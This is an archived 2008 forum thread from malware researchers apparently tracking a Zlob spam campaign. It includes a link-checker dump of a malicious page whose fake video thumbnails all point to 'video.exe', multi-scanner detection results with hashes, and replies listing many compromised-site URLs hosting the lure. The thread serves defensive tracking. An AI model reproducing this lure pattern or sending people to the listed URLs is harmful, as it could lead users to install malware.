00688 <tr><td>Length:</td><td><b>9:15</b></td></tr>
00689 <tr><td>View:</td><td><b>68,693</b></td></tr>
00690 <tr><td>Rating:</td><td><img src="rating5.jpg"></td></tr>
00690 No Error: 200 URL rating5.jpg
00691 </tbody></table>
00692 </td>
00693 </tr>
00694 </tbody></table>
00695
00696 <!-- side thumb 2-->
00697 <table>
00698 <tbody><tr>
00699 <td><a href="video.exe"><img class="side-thumb" src="4957950055.jpg"></a></td>
00699 No Error: 200 URL video.exe <img>
00699 No Error: 200 URL 4957950055.jpg
00700 <td style="color: rgb(119, 119, 119);">
00701 <table>
00702 <tbody><tr class="side-from"><td>From:</td><td><a>SatyrIconIc</a></td></tr>
00703 <tr><td>Length:</td><td><b>5:35</b></td></tr>
00704 <tr><td>View:</td><td><b>1,167,789</b></td></tr>
00705 <tr><td>Rating:</td><td><img src="rating5.jpg"></td></tr>
00705 No Error: 200 URL rating5.jpg
00706 </tbody></table>
00707 </td>
00708 </tr>
00709 </tbody></table>
00710
00711 <!-- side thumb 1-->
00712 <table>
00713 <tbody><tr>
00714 <td><a href="video.exe"><img class="side-thumb" src="3709569718.jpg"></a></td>
00714 No Error: 200 URL video.exe <img>
00714 No Error: 200 URL 3709569718.jpg
00715 <td style="color: rgb(119, 119, 119);">
00716 <table>
00717 <tbody><tr class="side-from"><td>From:</td><td><a>joetelo</a></td></tr>
00718 <tr><td>Length:</td><td><b>15:30</b></td></tr>
00719 <tr><td>View:</td><td><b>778,526</b></td></tr>
00720 <tr><td>Rating:</td><td><img src="rating4.jpg"></td></tr>
00720 No Error: 200 URL rating4.jpg
00721 </tbody></table>
00722 </td>
00723 </tr>
00724 </tbody></table>
00725
00726 <!-- side thumb 1-->
00727 <table>
00728 <tbody><tr>
00729 <td><a href="video.exe"><img class="side-thumb" src="1693018480.jpg"></a></td>
00729 No Error: 200 URL video.exe <img>
00729 No Error: 200 URL 1693018480.jpg
00730 <td style="color: rgb(119, 119, 119);">
00731 <table>
00732 <tbody><tr class="side-from"><td>From:</td><td><a>Jizzpower</a></td></tr>
00733 <tr><td>Length:</td><td><b>9:31</b></td></tr>
00734 <tr><td>View:</td><td><b>583,895</b></td></tr>
00735 <tr><td>Rating:</td><td><img src="rating5.jpg"></td></tr>
00735 No Error: 200 URL rating5.jpg
00736 </tbody></table>
00737 </td>
00738 </tr>
00739 </tbody></table>
00740
00741 <!-- side thumb 1-->
00742 <table>
00743 <tbody><tr>
00744 <td><a href="video.exe"><img class="side-thumb" src="3396659987.jpg"></a></td>
00744 No Error: 200 URL video.exe <img>
00744 No Error: 200 URL 3396659987.jpg
00745 <td style="color: rgb(119, 119, 119);">
00746 <table>
00747 <tbody><tr class="side-from"><td>From:</td><td><a>nj201</a></td></tr>
00748 <tr><td>Length:</td><td><b>13:18</b></td></tr>
00749 <tr><td>View:</td><td><b>467,116</b></td></tr>
00750 <tr><td>Rating:</td><td><img src="rating4.jpg"></td></tr>
00750 No Error: 200 URL rating4.jpg
00751 </tbody></table>
00752 </td>
00753 </tr>
00754 </tbody></table>
00755
00756 <!-- side thumb 1-->
00757 <table>
00758 <tbody><tr>
00759 <td><a href="video.exe"><img class="side-thumb" src="5890990761.jpg"></a></td>
00759 No Error: 200 URL video.exe <img>
00759 No Error: 200 URL 5890990761.jpg
00760 <td style="color: rgb(119, 119, 119);">
00761 <table>
00762 <tbody><tr class="side-from"><td>From:</td><td><a>tmoney42000</a></td></tr>
00763 <tr><td>Length:</td><td><b>12:35</b></td></tr>
00764 <tr><td>View:</td><td><b>389,263</b></td></tr>
00765 <tr><td>Rating:</td><td><img src="rating5.jpg"></td></tr>
00765 No Error: 200 URL rating5.jpg
00766 </tbody></table>
00767 </td>
00768 </tr>
00769 </tbody></table>
00770 </div>
00771 </td>
00772 </tr>
00773 </tbody></table>
00774
00775
00776 </div>
00777
00778 <script type="text/javascript" src="http://www.statcounter.com/counter/counter_xhtml.js"></script><noscript><div
00778 No Error: 200 URL http://www.statcounter.com/counter/counter_xhtml.js <Script>
00778 No Error: 200 URL http://www.statcounter.com/counter/counter_xhtml.js js:
00779 class="statcounter"><a href="http://www.statcounter.com/" target="_blank"><img class="statcounter"
00779 No Error: 200 URL http://www.statcounter.com/ <img>
00780 src="http://c41.statcounter.com/3777076/0/dd0c06c0/1/" alt="free tracking" ></a></div></noscript>
00780 No Error: 200 URL http://c41.statcounter.com/3777076/0/dd0c06c0/1/ free tracking [Redir: http://c41.statcounter.com/counter.php?sc_project=3777076&java=0&security=dd0c06c0&invisible=1]
00781 <!-- End of StatCounter Code -->
00782
00783
00784 </body></html>


File r.html(r-thing) :D received on 07.07.2008 22:33:28 (CET)

AhnLab-V3   2008.7.8.0   2008.07.07   -
AntiVir   7.8.0.64   2008.07.07   HEUR/HTML.Malware
Authentium   5.1.0.4   2008.07.06   -
Avast   4.8.1195.0   2008.07.07   -
AVG   7.5.0.516   2008.07.07   -
BitDefender   7.2   2008.07.07   Trojan.HTML.Zlob.Y
CAT-QuickHeal   9.50   2008.07.07   HTM/Zlob.GEN.2
ClamAV   0.93.1   2008.07.07   -
DrWeb   4.44.0.09170   2008.07.07   -
eSafe   7.0.17.0   2008.07.07   -
eTrust-Vet   31.6.5934   2008.07.07   -
Ewido   4.0   2008.07.07   -
F-Prot   4.4.4.56   2008.07.06   -
F-Secure   7.60.13501.0   2008.07.03   -
Fortinet   3.14.0.0   2008.07.07   JS/Zlob!tr.dldr
GData   2.0.7306.1023   2008.07.07   -
Ikarus   T3.1.1.26.0   2008.07.07   -
Kaspersky   7.0.0.125   2008.07.07   -
McAfee   5333   2008.07.07   -
Microsoft   1.3704   2008.07.07   -
NOD32v2   3248   2008.07.07   -
Norman   5.80.02   2008.07.07   -
Panda   9.0.0.4   2008.07.07   -
Prevx1   V2   2008.07.07   -
Rising   20.51.60.00   2008.07.06   -
Sophos   4.31.0   2008.07.07   -
Sunbelt   3.1.1509.1   2008.07.04   -
Symantec   10   2008.07.07   -
TheHacker   6.2.96.374   2008.07.07   -
TrendMicro   8.700.0.1004   2008.07.07   -
VBA32   3.12.6.8   2008.07.07   Trojan-Downloader.VBS.Small.cw
VirusBuster   4.5.11.0   2008.07.07   -
Webwasher-Gateway   6.6.2   2008.07.07   Heuristic.HTML.Malware
Additional information
File size: 34783 bytes
MD5...: da9ce179b1f6d331538a689d9da268a5
SHA1..: 046ab9fd35d73eaaf931cb31e61a50e1bb75ccc4
SHA256: daa27c5408660ddadf4d7f10d9bc682955ccf1c0ac06cc8f433b59c47053045b
SHA512: 1e41d74353abf54f979c082438ff92cb288349bdde47ca40da71778290e0c2a6<br>0e1c7e798b0e2e64b0b70b082808d71810fa7d88df73c331987ce6945a931ad1
PEiD..: -
PEInfo: -


Another?
xww.alpet.hu/r.html

July 08, 2008, 01:09:07 am
Reply #2

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
Been receiving a ton of these myself .......
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net

July 08, 2008, 01:56:09 am
Reply #3

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
Just quickly modified my Outlook Export application to export just the links from e-mails in a specific folder, and the attached are the links from the e-mails pertaining to this, that I've received thus far.
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net

July 08, 2008, 03:26:35 am
Reply #4

bobby

  • Special Members
  • Hero Member

  • Offline
  • *

  • 322
    • Malzilla
Indeed an annoying thing.

Code: [Select]
http://www.veranstaltungsstaende.de/r.html

July 08, 2008, 03:32:05 am
Reply #5

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
Just had two more myself;

http://choicetitle.net/r.html
http://chromet.com/r.html
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net

July 08, 2008, 05:54:30 am
Reply #6

CM_MWR

  • Special Members
  • Hero Member

  • Offline
  • *

  • 319
Whats the deal,it has specifics to how it is launched?

I assume,popping the link into IE just isnt enough?

July 08, 2008, 07:31:41 am
Reply #7

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
One Two* more

passionmotors.it/r.html
mynexus.nl/r.html

Indeed, popping the link into IE is enough, but some of us like keeping track ;) (I assume you meant "whats the deal" with reference to my posting the list?)
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net

July 08, 2008, 08:21:46 am
Reply #8

CM_MWR

  • Special Members
  • Hero Member

  • Offline
  • *

  • 319
LOL...no,Im not allways a Richard Cranium...only when heavily medicated.

I meant to say:

Why wont this stupid thing launch from IE for me...argh!!!!!!

I tried all 4 of bobbys original links and couldnt get squat to load.

Sorry for the confusion,partner.  ;)

July 08, 2008, 08:55:04 am
Reply #9

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
hehe no worries :)
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net

July 08, 2008, 09:07:13 am
Reply #10

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
boeckinggmbh.de/r.html
mynexus.nl/r.html
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net

July 08, 2008, 09:39:41 am
Reply #11

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
confitech.com.co/r.html
culturatuningdelsur.com.ar/r.html
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net

July 08, 2008, 09:56:58 am
Reply #12

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
www.leuropaeilmediterraneo.it/r.html
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net

July 08, 2008, 12:05:02 pm
Reply #13

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
www.moeterssc.de/r.html
dr-vorwerk.de/r.html
boeckinggmbh.de/r.html
testing.vuenosairez.com/r.html
apsisresource.com/r.html
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net

July 08, 2008, 02:23:07 pm
Reply #14

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
govdeli.com/r.html
mhcrombe.axeweb.be/r.html
pulsar.to.it/r.html
metalurgicajamara.com.br/r.html
banyandecor.com/r.html
gilbertodesouza.com.br/r.html
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net